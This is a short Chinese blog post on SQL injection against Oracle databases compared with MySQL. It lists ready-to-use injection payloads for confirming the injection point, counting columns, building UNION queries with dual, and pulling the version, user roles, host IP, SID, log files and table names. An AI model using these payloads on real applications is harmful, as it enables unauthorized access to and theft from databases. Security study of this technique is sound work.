当前位置: 首页 > news >正文

简单记录一下Oracle数据库与mysql数据库注入的不同。

Oracle数据库的注入比mysql较复制。

一确定注入点:与mysql一样。

' and 1=1 -- +    #文章有出现.

' and 1=2 -- +    #文章不见了。

二。确定列数。

’order by 1,2 -- +    #没问题

order by 1,2,3 -- + #保错,所以有两列。

三,所有union构造注入。

这里不一样了,因为orach要构造完整的语句,但也不知道表是什么,字段是什么,所以使用null和dual(虚拟表)来替代。

' union select 'null','null' from dual --%20+

四.查询当前数据库版本。

' union select banner,'null' from sys.v_$version where rownum=1--%20+

五.语句的查询信息。

1.当前用户权限         (select * from session_roles where rownum=1)
2.当前数据库版本  (select banner from sys.v_$version where rownum=1)
3.服务器出口IP   (用utl_http.request反弹注入可以实现,下面详细操作)
4.服务器监听IP   (select utl_inaddr.get_host_address from dual where rownum=1)
5.日志文件 (select member from v$logfile where rownum=1)
6.服务器sid(当前数据库也用这个即可) (select instance_name from v$instance where rownum=1)
7.当前连接用户 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual where rownum=1)
8.当前用户 (select user from dual where rownum=1)
9.当前数据库名 (select table_name from user_tables where rownum=1)

查看表的基本格式如下:

' UNION SELECT 'null' , (select table_name from user_tables where rownum=1) FROM DUAL--

基本改()的内容即可。

相关文章:

  • 配置安全网站
  • c++_队列习题
  • 【每日八股】计算机网络篇(四):HTTP
  • stm32 f4 flash 调用时卡死
  • Flask Jinja语法总结篇
  • MySQL8.0窗口函数
  • 请谈谈 TypeScript 中的接口(interface)和类型别名(type alias),它们的区别是什么?
  • ThinkPHP8.0+MySQL8.0搭建简单实用电子证书查询系统
  • Kafka×DeepSeek:智能决策破取经八十一难!
  • 若依-导出后端解析
  • MySQL性能调优实战手册:从慢查询到执行计划全解析
  • springmvc想要一个模块使用相同的url的前缀,怎么处理
  • 配置 Thunderbird 以使用 outlook 邮箱
  • WebGPU:前端图形性能的新纪元——开启浏览器高性能计算新时代
  • Linux中Docker容器构建MariaDB数据库教程
  • 基于类型的声明接收props
  • 【深度学习】参数管理
  • 《平面几何强化训练题集》第2章5到9题
  • Linux:网络(网络编程基础)
  • GET请求、POST请求的区别
  • ppt设计主题/上海谷歌seo推广公司
  • 做网站怎么留接口/成都网站seo收费标准
  • 怎么做网站注册的网页/江苏seo团队
  • 深圳 旅游 网站建设/seo入门培训学多久
  • 做淫秽网站有事情吗/深圳市前十的互联网推广公司
  • 网站建设pqiw/做神马seo快速排名软件